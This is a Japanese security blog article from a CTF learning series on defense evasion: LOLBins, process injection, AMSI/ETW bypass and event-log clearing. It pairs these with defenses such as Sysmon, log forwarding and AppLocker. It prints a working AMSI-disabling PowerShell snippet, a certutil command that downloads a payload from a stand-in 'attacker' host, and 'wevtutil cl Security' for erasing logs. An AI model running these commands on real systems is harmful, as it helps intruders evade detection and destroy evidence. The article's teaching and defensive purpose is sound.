【検知回避・痕跡消去編】EDR Bypass/ログ消去/LOLBinsの発想と防御|CTF思考フレームワーク #40
広告・PRを含みます。この記事にはアフィリエイトリンクが含まれます。掲載内容は編集方針に基づいて作成していますが、価格・在庫・キャンペーン内容はリンク先で最新情報を確認してください。

EDRを回避する手口って、攻撃者はどうやるの?最近のセキュリティソフトは強くない?🛡️

強いです。が、攻撃者は『LOLBins』(OS標準ツール)を使って正規通信に見せかける、メモリ実行でディスクに痕跡を残さない、ログを直接消去する――こうした手口でEDRを回避します。「正規ツール vs EDR」の終わりなき戦いです。
防御回避(Defense Evasion)は、EDR・SIEM・ログ監視を欺く技術。LOLBins(Living Off the Land Binaries)と呼ばれる正規ツール(PowerShell・WMI・MSHTA・rundll32)の悪用、メモリ常駐型マルウェア、Event Log の直接消去――これらは「目立たない侵入」の代表手口。

正規ツールを使われたら、検知って本当に難しそう…
この記事は、CTF思考フレームワーク第40回。EDRバイパス・ログ消去・LOLBins悪用などの防御回避手口と、企業の対策(PowerShell ScriptBlock Logging・Sysmon設定・LOLBAS監視)を整理します。
📖 この記事はシリーズの一部です
「CTF思考フレームワーク」 #40 / 全86記事 → シリーズ一覧を見る →
🥷 攻撃の最終仕上げは「気づかれないこと」と「痕跡を消すこと」。EDRをBypassし、Event Logを消し、LOLBinsで正規ツールに紛れる…ここまで来ると検知側はまるでミステリ小説の探偵役です。
Defense Evasionは攻撃テクニックの中で最も多様。プロセスインジェクション、AMSI Bypass、ETW無効化、ログ削除など、検知の前提を一つずつ崩していく作業です。
EDR/ログを欺く技術。攻撃者が一番神経を使う領域です🥷

検知回避はEDR・ログ・AVに見つからないための技術。攻撃の成否を決める最後の壁だよ🥷
先に意味を押さえておくと読みやすい用語です。
- CTF: セキュリティの練習問題を解く競技。必ず許可された環境だけで試します。
- 権限昇格: 一般ユーザーから管理者権限など、より強い権限を得ることです。
- コンテナ: アプリを隔離された軽い実行環境で動かす仕組みです。
👀 観察フェーズ:まず何を見る?

まず防御側を観察!どんなEDR・どこにログ・どこに転送。これが分かれば回避経路が見える🔍
まず検知の「観測点」を把握。EDR・AMSI・ETW・Event Log・PowerShell ScriptBlockLogging・Sysmonがそれぞれ何を見ているのかを地図化します。

見られていない箇所=攻撃ルート、見られている箇所=迂回ルートを探すんだね💡
- AMSI(PowerShell・WSH・Office VBAのスクリプト評価フック)
- ETW(Event Tracing for Windows・カーネルイベント)
- PowerShell ScriptBlockLogging(EID 4104)
- Sysmon(EID 1/3/7/8/10/11/12/13/19-22)
- Event Log: Security / System / Application
- EDRエージェントのプロセス・ドライバ・通信先

検知回避の典型は4方向。
🤔 仮説フェーズ:攻撃者は何を考える?
🪟 仮説①:LOLBins活用
OS標準バイナリ(certutil、bitsadmin、mshta、wmic)で「正規プロセスの皮を被って」悪意を実行。プロセス名で弾けない。
🧬 仮説②:Process Injection
正規プロセス(explorer.exe等)に悪意コードを注入して実行。プロセス起動を契機としたEDR検知を回避。
📜 仮説③:ログ削除/改ざん
wevtutil clでEvent Log消去、fsutil usn deletejournalでUSN消去、auditpol /clearで監査ポリシ削除。
🌫️ 仮説④:AMSI / ETW Bypass
.NETやPowerShellのスクリプトスキャン機構を無効化。メモリパッチで実装される高度技。
🕶️ 攻撃者は「検知ポイントを潰すか、迂回するか、ノイズに紛れるか」の三択を組み合わせます。AMSIはメモリパッチで黙らせ、ETWプロバイダをDisable、Event Logは wevtutil cl で消去。検知が厳しければ certutil や bitsadmin といったLOLBinsに切り替えて正規プロセスを装います。

攻撃者は「正規に見せる + 痕跡を消す」の二段構えで隠れるんだね💧
🔬 検証フェーズ:どうやって確かめる?

検証は隔離ラボでEDRをわざと入れて、自分の操作がどこに記録されるかを観察すると目が育ちます🧪
検証は検知エンジンが入った検証VMで。AMSI Bypass成功時はScriptBlockLogging(4104)に「不審な文字列」だけ残り、検知ルール側のパターンを突破できているかが見えます。

AtomicRedTeamみたいな攻撃技術ライブラリでTTPを再現できるんだね💡
# 検証用:自分のラボWindows VMで
# AMSI状態確認(Bypassが効いているか)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static")
# ETWプロバイダ列挙
logman query providers
# Event Log消去はEID 1102を必ず残す(消した痕跡が残る皮肉)
wevtutil cl Security

検知回避テクの代表はこの3つ。
⚔️ 攻撃フェーズ:実際の手口
OS標準バイナリで外部から悪意ファイル取得。プロセス名はOS純正なのでAVで弾きにくい。
CreateRemoteThreadやAPC Injection・Hollowingなどで正規プロセスに化けて活動。
wevtutil cl Securityでセキュリティログを消し、AMSIにメモリパッチを当ててPowerShellスキャンを無効化。
代表的な手口:①AMSIメモリパッチでスクリプト検知を無効化、②プロセスホロウィングで正規プロセスに化ける、③LOLBins(certutil / mshta / regsvr32)で外部ペイロード取得、④Event Logクリア。
# AMSIメモリパッチ(概念)
$a = [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils")
$f = $a.GetField("amsiInitFailed","NonPublic,Static")
$f.SetValue($null,$true)
# LOLBin: certutilでダウンロード(Defenderが弱い経路)
certutil -urlcache -split -f http://attacker/payload.exe payload.exe
# プロセスインジェクション(CreateRemoteThread / NtMapViewOfSection等)
近年はAMSI/ETW Bypass検知(パッチパターン監視)も普及してきており、攻撃側もアンマネージドコード化や独自ロード機構へシフト中📈

検知回避を「させない」3レイヤー!🛡️
🛡️ 防御フェーズ:どう守る?
端末ローカルでなくSIEMにリアルタイム転送。攻撃者が消す前に外部に保管。Sysmon+WEC構成が王道。
AppLocker / WDACで不要なOSバイナリ(mshta, wscript等)の実行を制限。マクロ・スクリプトはブロックポリシで。
EDR(振る舞い検知)+SOCアナリストで「正規プロセスの異常な動き」を捕まえる。シグネチャだけでは不可能。

「ログをローカルに残さない」が検知回避対策の起点。攻撃者に消させない設計を💪
守備側は「観測点を増やす」「重要ログは別ストレージに即時転送」「LOLBins使用を異常検知」の三方向。EDRに加えてSysmon+ログ転送のホスト側多層化が効きます。
- PowerShell Constrained Language Modeで危険APIを制限
- ScriptBlockLogging(EID 4104)を常時有効化
- Sysmon EID 7(Image Load)でAMSI関連DLLの異常ロード検知
- Event Log Forwarderで監査ログを即時別サーバへ複製
- AppLocker / WDACで実行可能ファイルを許可リスト管理
- LOLBin使用パターンをSigmaルールで包括検知(certutil / bitsadmin等)
🧪 検証用のLinuxラボを用意
権限昇格やエクスプロイトの練習は、許可を得た自分の検証環境で行うのがルール。💻 ConoHa VPSならUbuntuやCentOSをワンクリックで立てて、スナップショットも取れるので安心して試せます。
※ 上記は他社サービスへのリンクです。購入は各自でご判断ください。
⚠️ よくある落とし穴
- EDRさえ入れていれば大丈夫と思い、ログ転送や監査有効化を怠る
- AMSI Bypassが流行しても、PowerShell v2を残したままにしてダウングレード攻撃を受ける
- Event Logは消されると終わり、と諦めて転送を準備しない
- LOLBinsを「OS標準だから安全」と判断、ベースライン外利用を見逃す
- 検知ルールの感度を上げすぎて疲弊し、結局アラートをミュートする
- 攻撃者がEDRを無効化する手口(ドライバ悪用 = BYOVD)への備えがない
🧰 ツール早見表
| ツール / 機能 | 攻撃 or 防御 | 備考 |
|---|---|---|
| Invoke-Obfuscation | 攻:難読化フレームワーク | 4104ログのパターン崩し |
| SharpHound (.NET) | 攻:AD偵察 | 記憶ファイル化を避けた直接実行 |
| Sysmon + Sigma | 防:行動検知 | EID 7/10/11/13/19-22が要 |
| WEC + WEF | 防:イベント転送 | 消されても集約サーバに残る |
| MDE / EDR | 防:振る舞い検知 | BYOVD対策ドライバブロックリストも |
🎓 本気で学びたい人へ
Linuxとサーバ・セキュリティを仕事レベルで学びたい方へ。🎓 ササエルはインフラエンジニア向けスクールで、システム設計から防御設計まで広くカバーしています。
📚 もっと深く学びたい人へ
体系的に学ぶなら『ホワイトハッカー入門』、手を動かして覚えるなら『TryHackMeを使って身体で覚える攻撃手法と脆弱性』が定番。両方持っておくと、知識と実践の両輪で伸びます📚
📚 次に読みたい
✍️ 学んだことを発信する
学んだことをブログにまとめるなら、高速で安価なConoHa WINGが使いやすいです。
⚖️ 大事なお約束
この記事の手法は、必ず自分の環境か、許可されたCTF・脆弱性報奨金プログラム(HackerOne、Bugcrowd等)で試してください。他人のサービスに無断で攻撃を仕掛けるのは不正アクセス禁止法違反、立派な犯罪です。学んだ知識は守る側で活かしましょう🤝



